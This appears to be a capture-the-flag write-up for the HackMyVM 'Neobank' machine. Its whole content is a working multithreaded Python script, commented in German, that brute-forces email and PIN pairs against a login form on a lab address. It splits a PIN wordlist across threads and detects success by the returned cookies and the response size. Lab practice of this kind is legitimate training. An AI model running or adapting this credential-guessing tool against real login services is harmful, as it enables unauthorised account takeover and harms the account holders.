Neobank - HackMyVM - Medium - Bericht

#!/usr/bin/python3.8
import requests
import threading
import sys # Annahme: Hinzugefügt, um sys.exit() später nutzen zu können

header = {
    # Korrektur: Origin statt rigin
    "Origin": "http://192.168.2.126:5000",
    "Referer": "http://192.168.2.126:5000",
}

result = dict()   # All email:pin pairs saved here
t_index = 0     # Global thread index
found_flag = threading.Event() # Event, um andere Threads zu stoppen

#Thread function, send request and check response
def t_request(account, lines, startpos, endpos):
    global t_index
    t_index = t_index + 1
    l_index = t_index   #l_index is the index of current thread
    total = int(endpos - startpos)

    for i in range(total):
        # Überprüfen, ob ein anderer Thread bereits erfolgreich war
        if found_flag.is_set():
            # print(f"Thread {l_index} exit because other thread found the pin of {account}")
            return

        # Display thread progress.
        if l_index == 1 and i % 100 == 0: # Nur Thread 1 gibt Fortschritt aus, alle 100 Versuche
             print(f"{account} - Thread {l_index} Progress: {i}/{total}", end="\r")

        postUrl = "http://192.168.2.126:5000/login"
        pwd = lines[startpos + i].strip()
        postData = {
            "email": account,
            "pin": pwd,
        }
        try:
            responseRes = requests.post(postUrl, data=postData, headers=header, timeout=5) # Timeout hinzugefügt
            # Erfolgsbedingung: Antwort enthält Cookies UND hat nicht die Größe der Fehlerseite (angenommen)
            if len(responseRes.cookies) != 0 and len(responseRes.text) != 178: # Annahme: 178 ist Fehlerseite
                print(f"\n{'='*20} SUCCESS {'='*20}")
                print(f"Thread {l_index} find at loop {i} >>> {account}:{pwd}")
                print(f"{'='*50}")
                result[account] = pwd
                found_flag.set() # Signal an andere Threads senden
                return
        except requests.exceptions.RequestException as e:
            # Fehler behandeln (z.B. Timeout, Verbindungsproblem)
            # print(f"\nThread {l_index} Error: {e}")
            continue # Nächste PIN versuchen

    # Nur ausgeben, wenn nicht durch found_flag beendet
    if not found_flag.is_set():
        print(f"\nThread {l_index} finished for {account}, and not find correct pin.")


if __name__ == "__main__":
    threads = []
    #total thread nums = t_nums * number of emails
    #can't set too big value
    t_nums = 5 # Anzahl Threads pro E-Mail

    try:
        # email_list.txt enthält vermutlich JSON, muss geparsed werden
        # Annahme: emails.txt enthält jetzt eine E-Mail pro Zeile
        with open("emails.txt", "r") as f_emails:
             emails = [line.strip() for line in f_emails if line.strip()]
        with open("pins.txt", "r") as f_pins:
            pins = f_pins.readlines()
    except FileNotFoundError as e:
        print(f"Error opening file: {e}")
        sys.exit(1)

    #initial the dic
    for email in emails:
        result[email.strip()] = ""

    count = len(pins)
    if count == 0:
        print("Error: pins.txt is empty.")
        sys.exit(1)

    tsize = count // t_nums # Integer division

    print(f"Starting bruteforce with {t_nums} threads per email for {len(emails)} emails against {count} pins...")

    for email in emails:
        email = email.strip()
        if not email: continue # Leere Zeilen überspringen

        found_flag.clear() # Event für jede E-Mail zurücksetzen
        threads_for_email = []
        print(f"\n[*] Testing Email: {email}")

        for i in range(t_nums):
            start = i * tsize
            # Sicherstellen, dass der letzte Thread alle restlichen Pins abdeckt
            end = (i + 1) * tsize if i < t_nums - 1 else count
            if start >= count: continue # Keine Pins mehr übrig für diesen Thread

            t = threading.Thread(target=t_request, args=(email, pins, start, end))
            threads_for_email.append(t)

        # Threads für die aktuelle E-Mail starten
        for t in threads_for_email:
             # t.setDaemon(True) # Veraltet
             t.daemon = True # Attribut setzen
             t.start()

        # Auf das Ende der Threads für die aktuelle E-Mail warten
        all_finished = False
        while not all_finished:
            all_finished = True
            for t in threads_for_email:
                if t.is_alive():
                    all_finished = False
                    t.join(timeout=0.1) # Kurz warten, um CPU nicht zu blockieren
            if found_flag.is_set(): # Wenn gefunden, nicht mehr warten
                break

        if result[email]:
            print(f"[+] Pin found for {email}: {result[email]}")
            # Optional: Nach dem ersten Fund abbrechen
            # print("Pin found, stopping further tests.")
            # break
        else:
             print(f"[-] No pin found for {email} after testing all threads.")


    print("\n===== Bruteforce Finished =====")
    success_count = 0
    for k, v in result.items():
        if v:
            print(f"Success: {k} : {v}")
            success_count += 1
    if success_count == 0:
        print("No valid credentials found.")

    print("All done!")